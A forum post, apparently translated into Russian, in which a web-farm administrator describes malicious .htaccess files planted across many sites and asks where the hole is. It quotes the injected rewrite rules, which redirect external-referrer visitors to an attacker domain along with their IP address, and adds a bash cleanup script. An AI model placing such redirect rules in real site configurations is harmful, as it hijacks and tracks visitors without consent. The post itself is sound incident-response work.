Поиск уязвимости веб-сервера

Мы работаем на ферме веб-серверов, на которой размещено около 300 сайтов.

Вчера утром скрипт поместил файлы.htaccess, принадлежащие www-data (пользователю apache), в каждую директорию под document_root большинства (но не всех) сайтов.

Содержимое файла.htaccess было таким:

RewriteEngine On
RewriteCond %{HTTP_REFERER} ^http://
RewriteCond %{HTTP_REFERER} !%{HTTP_HOST}
RewriteRule . http://84f6a4eef61784b33e4acbd32c8fdd72.com/%{REMOTE_ADDR}

Поиск в Google по этому URL-адресу (который является хэш-версией md5 "антивируса") Я обнаружил, что это происходит по всему Интернету, и ищу человека, который уже имел дело с этим, и определил, где находится уязвимость.

Я просмотрел большинство наших журналов, но пока не нашел ничего убедительного. Есть ли другие, кто испытал то же самое, что продвинулось дальше, чем я, точно определив дыру?

Итак, мы определили:

• изменения были сделаны как www-data, так что виновником может быть apache или его плагины
• все изменения были сделаны в течение 15 минут друг от друга, поэтому, вероятно, это было автоматизировано
• Поскольку у наших веб-сайтов широко варьируются доменные имена, я думаю, что за один сайт была ответственна одна уязвимость (а не общая уязвимость на каждом сайте)
• если файл.htaccess уже существует и доступен для записи с помощью www-data, то сценарий был добрым и просто добавлял приведенные выше строки в конец файла (что облегчало обращение к нему)

Любые дополнительные советы будут оценены.

== Редактирование ==

Для тех, кому это нужно, вот скрипт, который я использовал для очистки файлов.htaccess:

#!/bin/bash
PATT=84f6a4eef61784b33e4acbd32c8fdd72.com
DIR=/mnt
TMP=/tmp/`mktemp "XXXXXX"`
find $DIR -name .htaccess|while read FILE; do
  if ( grep $PATT "$FILE" > /dev/null); then
    if [ `cat "$FILE"|wc -l` -eq 4 ]; then
      rm "$FILE"
    else
      if ( tail -n1 "$FILE"|grep $PATT > /dev/null ); then
        rm $TMP
        cp "$FILE" $TMP
        LINES=`cat $TMP|wc -l`
        GOODLINES=$(($LINES-4))
        head -n $GOODLINES $TMP > "$FILE"
      else
        echo $FILE requires manual intervention
      fi
    fi
  fi
done